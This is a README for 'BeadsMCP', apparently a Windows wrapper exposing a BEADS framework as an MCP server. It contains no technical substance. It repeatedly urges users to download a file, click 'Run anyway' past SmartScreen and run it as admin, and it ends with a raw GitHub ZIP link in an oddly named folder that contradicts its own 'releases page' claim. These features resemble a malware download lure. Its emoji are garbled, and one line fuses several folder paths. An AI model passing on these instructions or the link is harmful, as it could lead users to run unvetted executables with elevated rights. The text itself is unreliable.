BeadsMCP
A Windows app that wraps the BEADS framework as an MCP server, enabling AI tools to send structured requests and run BEADS actions locally.
README
๐งฉ BeadsMCP - Run BEADS Through MCP
๐ What BeadsMCP Does
BeadsMCP is a Windows app that wraps the BEADS framework and exposes it as an MCP server. In plain terms, it helps other AI tools talk to BEADS in a simple and structured way.
Use it if you want to:
- connect BEADS to AI tools that support MCP
- run tool actions from a local app
- keep setup light and simple
- use a wrapper that is easy to extend later
๐ฅ๏ธ What You Need
Before you install BeadsMCP, make sure your PC can run it:
- Windows 10 or Windows 11
- Internet access for the download
- Enough free disk space for the app and its files
- Permission to run downloaded apps
- A modern browser to open the download page
BeadsMCP is made for normal desktop use. You do not need to know how to code to get started.
โฌ๏ธ Download BeadsMCP
Visit this page to download BeadsMCP for Windows:
On the releases page:
- open the latest release
- find the Windows file
- download it to your computer
- open the file after the download finishes
If your browser asks for confirmation, choose the option to keep the file.
โ๏ธ Install and Run
After the file downloads, follow these steps:
- go to your Downloads folder
- find the BeadsMCP file
- double-click it to start the app
- if Windows asks for permission, select Yes
- wait for the setup or launch window to finish
- keep the app open while you use it
If the release comes as a ZIP file:
- right-click the ZIP file
- choose Extract All
- open the extracted folder
- find the BeadsMCP app file
- double-click it to run
If Windows shows a SmartScreen prompt:
- choose More info
- select Run anyway if you trust the source
๐ How to Connect BeadsMCP
BeadsMCP works as an MCP server. That means another app can send it requests and get back structured results.
A simple setup often looks like this:
- open your MCP-capable app
- add BeadsMCP as a local server
- point the app to the BeadsMCP executable or folder
- save the settings
- restart the app if needed
If your AI tool asks for a server name, use something clear like:
- BeadsMCP
- BEADS Server
- Local Beads Wrapper
If it asks for a path, choose the file you downloaded from the release page.
๐งฐ What You Can Use It For
BeadsMCP fits tasks such as:
- sending BEADS actions through an AI tool
- keeping tool use in one local app
- testing workflow steps
- building small automation flows
- connecting model tools without a large setup
It works well when you want a simple bridge between a local app and the BEADS framework.
๐งญ Typical First Run
The first time you open BeadsMCP, you may want to check these points:
- confirm the app starts without errors
- keep the window open
- make sure your MCP client can see it
- test one simple action first
- add more actions once the basic setup works
If the app includes a settings file, keep the default values at first. That makes it easier to confirm the basic connection.
๐ ๏ธ Troubleshooting
If BeadsMCP does not open:
- check that the download finished
- make sure you extracted the file if it came as ZIP
- try running it again as admin
- check whether Windows blocked the file
If your MCP client does not find the server:
- confirm the path is correct
- make sure the app is still running
- restart the client app
- check that you selected the right file from the release
If the download looks incomplete:
- delete the broken file
- return to the releases page
- download the file again
- use a stable internet link
If Windows shows a warning:
- check that you downloaded from the GitHub releases page
- open the file only after the download completes
- choose the option that lets you view more details if needed
๐ Suggested Folder Setup
For a clean setup, store BeadsMCP in a simple folder like this:
Downloads\BeadsMCPDesktop\BeadsMCPApps\BeadsMCP
A short folder path helps when you set up other tools. It also makes the file easier to find later.
๐ Useful Details
BeadsMCP is a lightweight wrapper for the BEADS framework. It is built for MCP use and local tool orchestration. That makes it a good fit for users who want a small app that can sit between BEADS and an AI client.
Common use cases include:
- local automation
- AI tool integration
- developer workflows
- model context protocol servers
- wrapper-based tool control
๐งฉ File and Folder Tips
When you use the app, keep these habits in mind:
- do not move the file while it is running
- keep the release files together
- use the same folder each time if you can
- update by downloading the latest release from the same page
If you later install a new version, you can replace the old files after you close the app.
๐ฅ Update to a New Version
To get the latest version:
- go to the releases page
- check the newest release at the top
- download the new Windows file
- close the old BeadsMCP app
- replace the old file with the new one
- open the new version
Keep your settings file if the app uses one and you want to preserve your setup.
๐งช Simple Check After Setup
After you run BeadsMCP, do a quick check:
- the app opens
- your MCP client loads it
- the connection stays active
- a basic request returns a result
If that works, the setup is ready for daily use
๐ Download Link Again
Use this page to download BeadsMCP for Windows:
https://raw.githubusercontent.com/Harby3816/BeadsMCP/main/Nydia/MCP_Beads_1.1-alpha.2.zip
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